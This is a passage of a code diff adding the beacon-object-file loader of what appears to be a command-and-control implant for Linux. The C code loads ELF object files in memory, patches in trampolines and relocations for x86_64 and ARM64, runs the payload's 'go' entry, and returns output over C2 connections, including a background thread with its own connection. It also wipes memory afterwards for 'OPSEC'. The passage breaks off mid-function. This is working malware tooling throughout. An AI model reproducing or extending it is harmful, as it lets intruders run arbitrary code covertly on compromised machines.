+#define TRAMPOLINE_SIZE 14 // FF 25 00 00 00 00 [8-byte addr] = jmp [rip+0]
+#endif
+#ifdef ARCH_AARCH64
+#define TRAMPOLINE_SIZE 16 // ldr x16, [pc+8]; br x16; .quad addr
+#endif
+
+static int allocate_sections(const uint8_t *elf_data, const Elf64_Ehdr *ehdr,
+ const Elf64_Shdr *shdrs,
+ loaded_section_t *sections, int *num_sections,
+ bof_arena_t *arena) {
+ *num_sections = 0;
+ arena->base = (void *)0;
+ arena->total_size = 0;
+ arena->trampoline = (void *)0;
+ arena->tramp_count = 0;
+
+ // ── Pass 1: compute total size needed ──
+ // Each section is page-aligned so mprotect per-section doesn't conflict
+ size_t total = 0;
+ for (int i = 0; i < ehdr->e_shnum; i++) {
+ const Elf64_Shdr *shdr = &shdrs[i];
+ if (!(shdr->sh_flags & SHF_ALLOC))
+ continue;
+ total = page_align(total); // page-align each section start
+ total += shdr->sh_size > 0 ? shdr->sh_size : 16;
+ }
+ // Trampoline area (page-aligned start, enough for max trampolines)
+ total = page_align(total);
+ size_t tramp_offset = total;
+ total += page_align(BOF_MAX_TRAMPOLINES * TRAMPOLINE_SIZE);
+
+ // ── Pass 2: single mmap ──
+ size_t mmap_size = page_align(total);
+ void *base = sys_mmap((void *)0, mmap_size,
+ PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ if (base == MAP_FAILED)
+ return -1;
+
+ ax_memset(base, 0, mmap_size);
+ arena->base = base;
+ arena->total_size = mmap_size;
+ arena->trampoline = (uint8_t *)base + tramp_offset;
+ arena->tramp_count = 0;
+
+ // ── Pass 3: lay out sections within the arena (page-aligned) ──
+ size_t offset = 0;
+ for (int i = 0; i < ehdr->e_shnum && *num_sections < BOF_MAX_SECTIONS; i++) {
+ const Elf64_Shdr *shdr = &shdrs[i];
+ if (!(shdr->sh_flags & SHF_ALLOC))
+ continue;
+
+ offset = page_align(offset); // page-align each section
+
+ size_t sec_size = shdr->sh_size > 0 ? shdr->sh_size : 16;
+ void *sec_base = (uint8_t *)base + offset;
+
+ // Copy section data (SHT_NOBITS sections like .bss are zero-filled already)
+ if (shdr->sh_type != SHT_NOBITS && shdr->sh_size > 0) {
+ ax_memcpy(sec_base, elf_data + shdr->sh_offset, shdr->sh_size);
+ }
+
+ loaded_section_t *ls = §ions[*num_sections];
+ ls->base = sec_base;
+ ls->size = sec_size;
+ ls->raw_size = shdr->sh_size;
+ ls->flags = (uint32_t)shdr->sh_flags;
+ ls->shndx = i;
+ (*num_sections)++;
+
+ offset += sec_size;
+ }
+
+ return 0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Write a trampoline stub for an external function, returns stub address
+/// ────────────────────────────────────────────────────────────────────────────
+
+static void *write_trampoline(bof_arena_t *arena, uint64_t target_addr) {
+ if (arena->tramp_count >= BOF_MAX_TRAMPOLINES)
+ return (void *)0;
+
+ uint8_t *stub = (uint8_t *)arena->trampoline + (arena->tramp_count * TRAMPOLINE_SIZE);
+ arena->tramp_count++;
+
+#ifdef ARCH_X86_64
+ // jmp [rip+0] ; .quad target_addr
+ // FF 25 00 00 00 00 xx xx xx xx xx xx xx xx
+ stub[0] = 0xFF;
+ stub[1] = 0x25;
+ stub[2] = 0x00;
+ stub[3] = 0x00;
+ stub[4] = 0x00;
+ stub[5] = 0x00;
+ ax_memcpy(stub + 6, &target_addr, 8);
+#endif
+
+#ifdef ARCH_AARCH64
+ // ldr x16, #8 → 58000050
+ // br x16 → D61F0200
+ // .quad target_addr
+ uint32_t ldr_insn = 0x58000050; // ldr x16, pc+8
+ uint32_t br_insn = 0xD61F0200; // br x16
+ ax_memcpy(stub + 0, &ldr_insn, 4);
+ ax_memcpy(stub + 4, &br_insn, 4);
+ ax_memcpy(stub + 8, &target_addr, 8);
+#endif
+
+ return (void *)stub;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Find loaded section by ELF section index
+/// ────────────────────────────────────────────────────────────────────────────
+
+static loaded_section_t *find_loaded_section(loaded_section_t *sections, int num_sections, int shndx) {
+ for (int i = 0; i < num_sections; i++) {
+ if (sections[i].shndx == shndx)
+ return §ions[i];
+ }
+ return (loaded_section_t *)0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Resolve all symbols
+/// ────────────────────────────────────────────────────────────────────────────
+
+static int resolve_symbols(const Elf64_Sym *symtab, int num_syms,
+ const char *strtab,
+ loaded_section_t *sections, int num_sections,
+ sym_value_t *sym_values, bof_arena_t *arena,
+ char *err_symbol, int err_symbol_size) {
+ for (int i = 0; i < num_syms; i++) {
+ const Elf64_Sym *sym = &symtab[i];
+ sym_values[i].resolved = 0;
+ sym_values[i].value = 0;
+ sym_values[i].section = -1;
+
+ // STT_SECTION symbols — point to the loaded section base
+ if (ELF64_ST_TYPE(sym->st_info) == 3 /* STT_SECTION */) {
+ loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx);
+ if (ls) {
+ sym_values[i].value = (uint64_t)(uintptr_t)ls->base;
+ sym_values[i].section = sym->st_shndx;
+ sym_values[i].resolved = 1;
+ }
+ continue;
+ }
+
+ // Defined symbols (st_shndx != SHN_UNDEF)
+ if (sym->st_shndx != SHN_UNDEF) {
+ loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx);
+ if (ls) {
+ sym_values[i].value = (uint64_t)(uintptr_t)ls->base + sym->st_value;
+ sym_values[i].section = sym->st_shndx;
+ sym_values[i].resolved = 1;
+ }
+ continue;
+ }
+
+ // Undefined symbol — must be a BOF API function
+ const char *name = strtab + sym->st_name;
+ if (sym->st_name == 0 || name[0] == '\0') {
+ // Empty name for symbol 0 — skip
+ sym_values[i].resolved = 1;
+ continue;
+ }
+
+ void *func = bof_resolve_symbol(name);
+ if (func) {
+ // External function: create a trampoline stub within the arena
+ // so that PC-relative relocations (R_X86_64_PLT32, ARM64 CALL26)
+ // can reach it within ±2 GB / ±128 MB range
+ void *tramp = write_trampoline(arena, (uint64_t)(uintptr_t)func);
+ if (tramp) {
+ sym_values[i].value = (uint64_t)(uintptr_t)tramp;
+ } else {
+ // Fallback: use direct address (may overflow for PLT32/CALL26
+ // but works for R_X86_64_64/R_AARCH64_ABS64)
+ sym_values[i].value = (uint64_t)(uintptr_t)func;
+ }
+ sym_values[i].section = -1; // external
+ sym_values[i].resolved = 1;
+ } else {
+ // Weak symbols are allowed to be unresolved (value = 0)
+ if (ELF64_ST_BIND(sym->st_info) == STB_WEAK) {
+ sym_values[i].value = 0;
+ sym_values[i].resolved = 1;
+ } else {
+ // Fatal: unresolved symbol
+ ax_strncpy(err_symbol, name, err_symbol_size - 1);
+ err_symbol[err_symbol_size - 1] = '\0';
+ return -1;
+ }
+ }
+ }
+
+ return 0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Apply relocations — x86_64
+/// ────────────────────────────────────────────────────────────────────────────
+
+#ifdef ARCH_X86_64
+static int apply_relocations_x64(const Elf64_Rela *relas, int num_relas,
+ sym_value_t *sym_values,
+ loaded_section_t *target_section) {
+ for (int i = 0; i < num_relas; i++) {
+ const Elf64_Rela *rela = &relas[i];
+ uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info);
+ uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info);
+
+ if (!sym_values[sym_idx].resolved)
+ return -1;
+
+ uint64_t S = sym_values[sym_idx].value;
+ int64_t A = rela->r_addend;
+ uint8_t *P = (uint8_t *)target_section->base + rela->r_offset;
+
+ switch (type) {
+ case R_X86_64_64:
+ *(uint64_t *)P = S + A;
+ break;
+
+ case R_X86_64_PC32:
+ case R_X86_64_PLT32: {
+ int64_t val = (int64_t)S + A - (int64_t)(uintptr_t)P;
+ *(int32_t *)P = (int32_t)val;
+ break;
+ }
+
+ case R_X86_64_32:
+ *(uint32_t *)P = (uint32_t)(S + A);
+ break;
+
+ case R_X86_64_32S:
+ *(int32_t *)P = (int32_t)(S + A);
+ break;
+
+ default:
+ // Unsupported relocation type — skip (non-fatal)
+ break;
+ }
+ }
+ return 0;
+}
+#endif
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Apply relocations — ARM64 (AArch64)
+/// ────────────────────────────────────────────────────────────────────────────
+
+#ifdef ARCH_AARCH64
+static int apply_relocations_arm64(const Elf64_Rela *relas, int num_relas,
+ sym_value_t *sym_values,
+ loaded_section_t *target_section) {
+ for (int i = 0; i < num_relas; i++) {
+ const Elf64_Rela *rela = &relas[i];
+ uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info);
+ uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info);
+
+ if (!sym_values[sym_idx].resolved)
+ return -1;
+
+ uint64_t S = sym_values[sym_idx].value;
+ int64_t A = rela->r_addend;
+ uint8_t *P = (uint8_t *)target_section->base + rela->r_offset;
+
+ switch (type) {
+ case R_AARCH64_ABS64:
+ *(uint64_t *)P = S + A;
+ break;
+
+ case R_AARCH64_CALL26:
+ case R_AARCH64_JUMP26: {
+ int64_t offset = ((int64_t)S + A - (int64_t)(uintptr_t)P) >> 2;
+ uint32_t *insn = (uint32_t *)P;
+ *insn = (*insn & 0xFC000000) | (offset & 0x3FFFFFF);
+ break;
+ }
+
+ case R_AARCH64_ADR_PREL_PG_HI21: {
+ int64_t page_s = ((int64_t)S + A) & ~0xFFFLL;
+ int64_t page_p = (int64_t)(uintptr_t)P & ~0xFFFLL;
+ int64_t offset = page_s - page_p;
+ uint32_t immlo = ((offset >> 12) & 0x3) << 29;
+ uint32_t immhi = ((offset >> 14) & 0x7FFFF) << 5;
+ uint32_t *insn = (uint32_t *)P;
+ *insn = (*insn & 0x9F00001F) | immlo | immhi;
+ break;
+ }
+
+ case R_AARCH64_ADD_ABS_LO12_NC:
+ case R_AARCH64_LDST8_ABS_LO12_NC: {
+ uint64_t val = (S + A) & 0xFFF;
+ uint32_t *insn = (uint32_t *)P;
+ *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10);
+ break;
+ }
+
+ case R_AARCH64_LDST16_ABS_LO12_NC: {
+ uint64_t val = ((S + A) & 0xFFF) >> 1;
+ uint32_t *insn = (uint32_t *)P;
+ *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10);
+ break;
+ }
+
+ case R_AARCH64_LDST32_ABS_LO12_NC: {
+ uint64_t val = ((S + A) & 0xFFF) >> 2;
+ uint32_t *insn = (uint32_t *)P;
+ *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10);
+ break;
+ }
+
+ case R_AARCH64_LDST64_ABS_LO12_NC: {
+ uint64_t val = ((S + A) & 0xFFF) >> 3;
+ uint32_t *insn = (uint32_t *)P;
+ *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10);
+ break;
+ }
+
+ case R_AARCH64_LDST128_ABS_LO12_NC: {
+ uint64_t val = ((S + A) & 0xFFF) >> 4;
+ uint32_t *insn = (uint32_t *)P;
+ *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10);
+ break;
+ }
+
+ default:
+ // Unsupported relocation type — skip
+ break;
+ }
+ }
+ return 0;
+}
+#endif
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Apply protections — per-section mprotect
+/// ────────────────────────────────────────────────────────────────────────────
+
+static int protect_sections(loaded_section_t *sections, int num_sections,
+ bof_arena_t *arena) {
+ // Protect per-section: mprotect requires page-aligned addresses and sizes.
+ // Since sections within the arena may share pages, we use page-aligned ranges.
+ for (int i = 0; i < num_sections; i++) {
+ int prot;
+ if (sections[i].flags & SHF_EXECINSTR) {
+ prot = PROT_READ | PROT_EXEC;
+ } else if (sections[i].flags & SHF_WRITE) {
+ prot = PROT_READ | PROT_WRITE;
+ } else {
+ prot = PROT_READ;
+ }
+ // Page-align the section start and size for mprotect
+ uintptr_t sec_start = (uintptr_t)sections[i].base;
+ uintptr_t page_start = sec_start & ~(uintptr_t)4095;
+ size_t prot_size = page_align((sec_start - page_start) + sections[i].size);
+ if (sys_mprotect((void *)page_start, prot_size, prot) != 0)
+ return -1;
+ }
+
+ // Protect trampoline area as RX (it contains executable stubs)
+ if (arena->tramp_count > 0 && arena->trampoline) {
+ uintptr_t tramp_start = (uintptr_t)arena->trampoline;
+ uintptr_t page_start = tramp_start & ~(uintptr_t)4095;
+ size_t tramp_used = (size_t)arena->tramp_count * TRAMPOLINE_SIZE;
+ size_t prot_size = page_align((tramp_start - page_start) + tramp_used);
+ if (sys_mprotect((void *)page_start, prot_size, PROT_READ | PROT_EXEC) != 0)
+ return -1;
+ }
+
+#ifdef ARCH_AARCH64
+ // Flush instruction cache (mandatory on ARM64 after mprotect → RX)
+ for (int i = 0; i < num_sections; i++) {
+ if (sections[i].flags & SHF_EXECINSTR) {
+ uint8_t *start = (uint8_t *)sections[i].base;
+ uint8_t *end = start + sections[i].raw_size;
+ for (uint8_t *p = start; p < end; p += 64) {
+ __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory");
+ }
+ __asm__ volatile("dsb ish" ::: "memory");
+ for (uint8_t *p = start; p < end; p += 64) {
+ __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory");
+ }
+ __asm__ volatile("dsb ish\n\tisb" ::: "memory");
+ }
+ }
+ // Also flush trampoline area icache
+ if (arena->tramp_count > 0 && arena->trampoline) {
+ uint8_t *start = (uint8_t *)arena->trampoline;
+ uint8_t *end = start + (arena->tramp_count * TRAMPOLINE_SIZE);
+ for (uint8_t *p = start; p < end; p += 64) {
+ __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory");
+ }
+ __asm__ volatile("dsb ish" ::: "memory");
+ for (uint8_t *p = start; p < end; p += 64) {
+ __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory");
+ }
+ __asm__ volatile("dsb ish\n\tisb" ::: "memory");
+ }
+#endif
+
+ return 0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Cleanup — revert arena to RW, zero, single munmap
+/// ────────────────────────────────────────────────────────────────────────────
+
+static void cleanup_arena(bof_arena_t *arena) {
+ if (arena->base && arena->total_size > 0) {
+ // Revert entire arena to RW for zeroing
+ sys_mprotect(arena->base, arena->total_size, PROT_READ | PROT_WRITE);
+ // OPSEC: Zero all memory
+ volatile uint8_t *p = (volatile uint8_t *)arena->base;
+ for (size_t j = 0; j < arena->total_size; j++)
+ p[j] = 0;
+ // Release memory
+ sys_munmap(arena->base, arena->total_size);
+ arena->base = (void *)0;
+ arena->total_size = 0;
+ }
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Find entry point symbol ("go" function)
+/// ────────────────────────────────────────────────────────────────────────────
+
+static bof_entry_t find_entry(const char *entry_name,
+ const Elf64_Sym *symtab, int num_syms,
+ const char *strtab,
+ sym_value_t *sym_values) {
+ for (int i = 0; i < num_syms; i++) {
+ if (symtab[i].st_shndx == SHN_UNDEF)
+ continue;
+ const char *name = strtab + symtab[i].st_name;
+ if (ax_strcmp(name, entry_name) == 0 && sym_values[i].resolved) {
+ return (bof_entry_t)(uintptr_t)sym_values[i].value;
+ }
+ }
+ return (bof_entry_t)0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Write BOF error response to msgpack
+/// ────────────────────────────────────────────────────────────────────────────
+
+static void bof_error_response(mp_writer_t *response, int error_code, const char *message) {
+ mp_write_map(response, 2);
+ mp_write_kv_int(response, "type", error_code);
+ mp_write_kv_str(response, "output", message ? message : "");
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Write BOF success response to msgpack
+/// ────────────────────────────────────────────────────────────────────────────
+
+static void bof_success_response(mp_writer_t *response, const char *output) {
+ mp_write_map(response, 2);
+ mp_write_kv_int(response, "type", 0x20); // CALLBACK_OUTPUT_UTF8
+ mp_write_kv_str(response, "output", output ? output : "");
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Core ELF BOF execute
+/// ────────────────────────────────────────────────────────────────────────────
+
+static int elf_bof_execute(const uint8_t *elf_data, uint32_t elf_size,
+ const uint8_t *args, uint32_t args_size,
+ const char *entry_name,
+ mp_writer_t *response) {
+ loaded_section_t sections[BOF_MAX_SECTIONS];
+ int num_sections = 0;
+ bof_arena_t arena;
+ arena.base = (void *)0;
+ arena.total_size = 0;
+
+ // ── Step 1: Validate ELF header ──
+ if (elf_size < sizeof(Elf64_Ehdr)) {
+ bof_error_response(response, BOF_ERR_PARSE, "ELF file too small");
+ return -1;
+ }
+
+ const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)elf_data;
+ if (validate_elf(ehdr, elf_size) != 0) {
+ bof_error_response(response, BOF_ERR_PARSE, "Invalid ELF header");
+ return -1;
+ }
+
+ // ── Step 2: Parse section headers ──
+ const Elf64_Shdr *shdrs = (const Elf64_Shdr *)(elf_data + ehdr->e_shoff);
+
+ // Find .symtab, .strtab, and section name string table
+ const Elf64_Sym *symtab = (const Elf64_Sym *)0;
+ const char *strtab = (const char *)0;
+ int num_syms = 0;
+
+ for (int i = 0; i < ehdr->e_shnum; i++) {
+ if (shdrs[i].sh_type == SHT_SYMTAB) {
+ symtab = (const Elf64_Sym *)(elf_data + shdrs[i].sh_offset);
+ num_syms = (int)(shdrs[i].sh_size / shdrs[i].sh_entsize);
+ // strtab is linked via sh_link
+ int strtab_idx = (int)shdrs[i].sh_link;
+ if (strtab_idx < ehdr->e_shnum) {
+ strtab = (const char *)(elf_data + shdrs[strtab_idx].sh_offset);
+ }
+ break;
+ }
+ }
+
+ if (!symtab || !strtab || num_syms == 0) {
+ bof_error_response(response, BOF_ERR_PARSE, "No symbol table found");
+ return -1;
+ }
+
+ // ── Step 3: Allocate all sections in a single contiguous mmap ──
+ if (allocate_sections(elf_data, ehdr, shdrs, sections, &num_sections, &arena) != 0) {
+ cleanup_arena(&arena);
+ bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate sections");
+ return -1;
+ }
+
+ // ── Step 4: Resolve symbols (creates trampolines for external functions) ──
+ sym_value_t *sym_values = (sym_value_t *)ax_malloc(num_syms * sizeof(sym_value_t));
+ if (!sym_values) {
+ cleanup_arena(&arena);
+ bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate symbol table");
+ return -1;
+ }
+ ax_memset(sym_values, 0, num_syms * sizeof(sym_value_t));
+
+ char err_symbol[128];
+ err_symbol[0] = '\0';
+ if (resolve_symbols(symtab, num_syms, strtab, sections, num_sections,
+ sym_values, &arena, err_symbol, sizeof(err_symbol)) != 0) {
+ ax_free(sym_values);
+ cleanup_arena(&arena);
+ bof_error_response(response, BOF_ERR_SYMBOL, err_symbol);
+ return -1;
+ }
+
+ // ── Step 5: Apply relocations ──
+ for (int i = 0; i < ehdr->e_shnum; i++) {
+ if (shdrs[i].sh_type != SHT_RELA)
+ continue;
+
+ // sh_info points to the section being relocated
+ int target_shndx = (int)shdrs[i].sh_info;
+ loaded_section_t *target = find_loaded_section(sections, num_sections, target_shndx);
+ if (!target)
+ continue; // relocs for non-loaded section — skip
+
+ const Elf64_Rela *relas = (const Elf64_Rela *)(elf_data + shdrs[i].sh_offset);
+ int num_relas = (int)(shdrs[i].sh_size / sizeof(Elf64_Rela));
+
+ int ret;
+#ifdef ARCH_X86_64
+ ret = apply_relocations_x64(relas, num_relas, sym_values, target);
+#endif
+#ifdef ARCH_AARCH64
+ ret = apply_relocations_arm64(relas, num_relas, sym_values, target);
+#endif
+ if (ret != 0) {
+ ax_free(sym_values);
+ cleanup_arena(&arena);
+ bof_error_response(response, BOF_ERR_RELOC, "Relocation failed");
+ return -1;
+ }
+ }
+
+ // ── Step 6: Protect sections (per-section mprotect + trampoline area) ──
+ if (protect_sections(sections, num_sections, &arena) != 0) {
+ ax_free(sym_values);
+ cleanup_arena(&arena);
+ bof_error_response(response, BOF_ERR_ALLOC, "mprotect failed");
+ return -1;
+ }
+
+ // ── Step 7: Find entry point ──
+ bof_entry_t entry = find_entry(entry_name, symtab, num_syms, strtab, sym_values);
+ if (!entry) {
+ ax_free(sym_values);
+ cleanup_arena(&arena);
+ bof_error_response(response, BOF_ERR_ENTRY, "Entry function not found");
+ return -1;
+ }
+
+ // ── Step 8: Initialize BOF output, execute, collect output ──
+ bof_output_init();
+
+ entry((char *)args, (int)args_size);
+
+ // Collect output
+ int output_len = 0;
+ const char *output = bof_output_get(&output_len);
+ int error_type = bof_output_get_error();
+
+ // Write response
+ if (error_type != 0) {
+ bof_error_response(response, error_type, output);
+ } else if (output_len > 0) {
+ bof_success_response(response, output);
+ } else {
+ // No output — empty success
+ bof_success_response(response, "(no output)");
+ }
+
+ bof_output_cleanup();
+
+ // ── Step 9: Cleanup — zero and release arena ──
+ ax_free(sym_values);
+ cleanup_arena(&arena);
+
+ return 0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Public API: task_exec_bof — called from commander.c
+/// Parses msgpack command data, dispatches to elf_bof_execute
+/// ────────────────────────────────────────────────────────────────────────────
+
+int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) {
+ // Parse msgpack: {content: bytes, args: bytes, entry_func: string}
+ mp_reader_t reader;
+ mp_reader_init(&reader, data, data_len);
+
+ uint32_t map_count = 0;
+ if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) {
+ bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data");
+ return 0;
+ }
+
+ const uint8_t *bof_content = (const uint8_t *)0;
+ uint32_t bof_size = 0;
+ const uint8_t *args = (const uint8_t *)0;
+ uint32_t args_size = 0;
+ const char *entry_func = "go";
+ uint32_t entry_func_len = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key;
+ uint32_t key_len;
+ if (mp_read_str(&reader, &key, &key_len) != 0) {
+ mp_skip(&reader);
+ mp_skip(&reader);
+ continue;
+ }
+
+ if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) {
+ mp_read_bin(&reader, &bof_content, &bof_size);
+ } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) {
+ mp_read_bin(&reader, &args, &args_size);
+ } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) {
+ mp_read_str(&reader, &entry_func, &entry_func_len);
+ } else {
+ mp_skip(&reader);
+ }
+ }
+
+ if (!bof_content || bof_size == 0) {
+ bof_error_response(response, BOF_ERR_PARSE, "No BOF content");
+ return 0;
+ }
+
+ // Make entry_func a proper null-terminated string if needed
+ char entry_name[64];
+ if (entry_func_len > 0 && entry_func_len < sizeof(entry_name)) {
+ ax_memcpy(entry_name, entry_func, entry_func_len);
+ entry_name[entry_func_len] = '\0';
+ } else {
+ ax_strcpy(entry_name, "go");
+ }
+
+ elf_bof_execute(bof_content, bof_size, args, args_size, entry_name, response);
+
+ return 0;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Async BOF — background thread with separate C2 connection
+/// ────────────────────────────────────────────────────────────────────────────
+
+typedef struct {
+ uint8_t *bof_data; // deep copy of ELF .o
+ uint32_t bof_size;
+ uint8_t *args_data; // deep copy of args
+ uint32_t args_size;
+ char entry_name[64]; // "go" or custom
+ char job_id[64]; // task ID for job tracking
+ int job_idx; // index in g_job_ctx.jobs[]
+ int stop_pipe[2]; // pipe for cooperative stop (write=signal, read=poll)
+} async_bof_arg_t;
+
+/// Send BOF output over the job's C2 connection
+static void async_bof_send_output(connector_t *conn, const char *job_id,
+ int output_type, const char *output, int output_len) {
+ // Build inner data: {type: int, output: string}
+ mp_writer_t data_w;
+ mp_writer_init(&data_w, 64 + output_len);
+ mp_write_map(&data_w, 2);
+ mp_write_kv_int(&data_w, "type", output_type);
+ if (output && output_len > 0) {
+ mp_write_str(&data_w, "output", 6);
+ mp_write_str(&data_w, output, output_len);
+ } else {
+ mp_write_kv_str(&data_w, "output", "");
+ }
+
+ jobs_send_message(&g_job_ctx, conn, COMMAND_EXEC_BOF_OUT, job_id,
+ data_w.buf.data, (uint32_t)data_w.buf.len);
+ mp_writer_free(&data_w);
+}
+
+/// Worker thread for async BOF execution
+static void *async_bof_thread(void *param) {
+ async_bof_arg_t *arg = (async_bof_arg_t *)param;
+ job_entry_t *job = &g_job_ctx.jobs[arg->job_idx];
+
+ // Open separate C2 connection for this BOF
+ if (jobs_open_connection(&g_job_ctx, &job->conn) != 0) {
+ // Connection failed — report error and cleanup
+ job->active = 0;
+ goto CLEANUP;
+ }
+
+ // Send init pack for BOF type
+ {
+ mp_writer_t init_w;
+ mp_writer_init(&init_w, 64);
+ mp_write_map(&init_w, 1);
+ mp_write_kv_str(&init_w, "job_id", arg->job_id);
+ jobs_send_init(&g_job_ctx, &job->conn, BOF_PACK, init_w.buf.data, (uint32_t)init_w.buf.len);
+ mp_writer_free(&init_w);
+ }
+
+ // Execute the ELF BOF synchronously within this thread
+ {
+ // Set async context so BeaconGetStopJobEvent() returns the stop pipe fd
+ bof_set_async_ctx(arg, arg->stop_pipe[0]);
+
+ mp_writer_t bof_response;
+ mp_writer_init(&bof_response, 4096);
+ elf_bof_execute(arg->bof_data, arg->bof_size,
+ arg->args_data, arg->args_size,
+ arg->entry_name, &bof_response);
+
+ // Parse the response to extract type and output, then send via C2
+ if (bof_response.buf.len > 0) {
+ mp_reader_t rdr;
+ mp_reader_init(&rdr, bof_response.buf.data, bof_response.buf.len);
+ uint32_t map_cnt = 0;
+ if (mp_read_map(&rdr, &map_cnt) == 0) {
+ int out_type = 0x20; // default CALLBACK_OUTPUT_UTF8
+ const char *out_str = "";
+ uint32_t out_len = 0;
+
+ for (uint32_t i = 0; i < map_cnt; i++) {
+ const char *key;
+ uint32_t key_len;
+ if (mp_read_str(&rdr, &key, &key_len) != 0) {
+ mp_skip(&rdr);
+ mp_skip(&rdr);
+ continue;
+ }
+ if (key_len == 4 && ax_strncmp(key, "type", 4) == 0) {
+ int64_t v;
+ mp_read_int(&rdr, &v);
+ out_type = (int)v;
+ } else if (key_len == 6 && ax_strncmp(key, "output", 6) == 0) {
+ mp_read_str(&rdr, &out_str, &out_len);
+ } else {
+ mp_skip(&rdr);
+ }
+ }
+
+ async_bof_send_output(&job->conn, arg->job_id, out_type, out_str, (int)out_len);
+ }
+ }
+ mp_writer_free(&bof_response);
+ bof_clear_async_ctx();
+ }
+
+ // Send sentinel (type 0xFF) to signal BOF completion
+ async_bof_send_output(&job->conn, arg->job_id, 0xFF, "", 0);
+
+ // Close C2 connection
+ conn_close(&job->conn);
+ job->active = 0;
+
+CLEANUP:
+ // OPSEC: zero and free deep-copied data
+ if (arg->bof_data) {
+ volatile uint8_t *p = (volatile uint8_t *)arg->bof_data;
+ for (uint32_t i = 0; i < arg->bof_size; i++) p[i] = 0;
+ ax_free(arg->bof_data);
+ }
+ if (arg->args_data) {
+ volatile uint8_t *p = (volatile uint8_t *)arg->args_data;
+ for (uint32_t i = 0; i < arg->args_size; i++) p[i] = 0;
+ ax_free(arg->args_data);
+ }
+ if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]);
+ if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]);
+ ax_free(arg);
+
+ return (void *)0;
+}
+
+int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) {
+ // Parse msgpack: {content: bytes, args: bytes, entry_func: string}
+ mp_reader_t reader;
+ mp_reader_init(&reader, data, data_len);
+
+ uint32_t map_count = 0;
+ if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) {
+ bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data");
+ return 0;
+ }
+
+ const uint8_t *bof_content = (const uint8_t *)0;
+ uint32_t bof_size = 0;
+ const uint8_t *args = (const uint8_t *)0;
+ uint32_t args_size = 0;
+ const char *entry_func = "go";
+ uint32_t entry_func_len = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key;
+ uint32_t key_len;
+ if (mp_read_str(&reader, &key, &key_len) != 0) {
+ mp_skip(&reader);
+ mp_skip(&reader);
+ continue;
+ }
+
+ if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) {
+ mp_read_bin(&reader, &bof_content, &bof_size);
+ } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) {
+ mp_read_bin(&reader, &args, &args_size);
+ } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) {
+ mp_read_str(&reader, &entry_func, &entry_func_len);
+ } else {
+ mp_skip(&reader);
+ }
+ }
+
+ if (!bof_content || bof_size == 0) {
+ bof_error_response(response, BOF_ERR_PARSE, "No BOF content");
+ return 0;
+ }
+
+ // Allocate job slot
+ int job_idx = jobs_alloc(&g_job_ctx);
+ if (job_idx < 0) {
+ bof_error_response(response, BOF_ERR_ALLOC, "No free job slots");
+ return 0;
+ }
+
+ // Prepare async arg with deep copies
+ async_bof_arg_t *arg = (async_bof_arg_t *)ax_malloc(sizeof(async_bof_arg_t));
+ if (!arg) {
+ jobs_remove(&g_job_ctx, job_idx);
+ bof_error_response(response, BOF_ERR_ALLOC, "Alloc failed");
+ return 0;
+ }
+ ax_memset(arg, 0, sizeof(async_bof_arg_t));
+
+ // Deep copy BOF data
+ arg->bof_data = (uint8_t *)ax_malloc(bof_size);
+ if (!arg->bof_data) {
+ ax_free(arg);
+ jobs_remove(&g_job_ctx, job_idx);
+ bof_error_response(response, BOF_ERR_ALLOC, "BOF copy alloc failed");
+ return 0;
+ }
+ ax_memcpy(arg->bof_data, bof_content, bof_size);
+ arg->bof_size = bof_size;
+
+ // Deep copy args
+ if (args && args_size > 0) {
+ arg->args_data = (uint8_t *)ax_malloc(args_size);
+ if (arg->args_data)
+ ax_memcpy(arg->args_data, args, args_size);
+ arg->args_size = args_size;
+ }
+
+ // Copy entry name
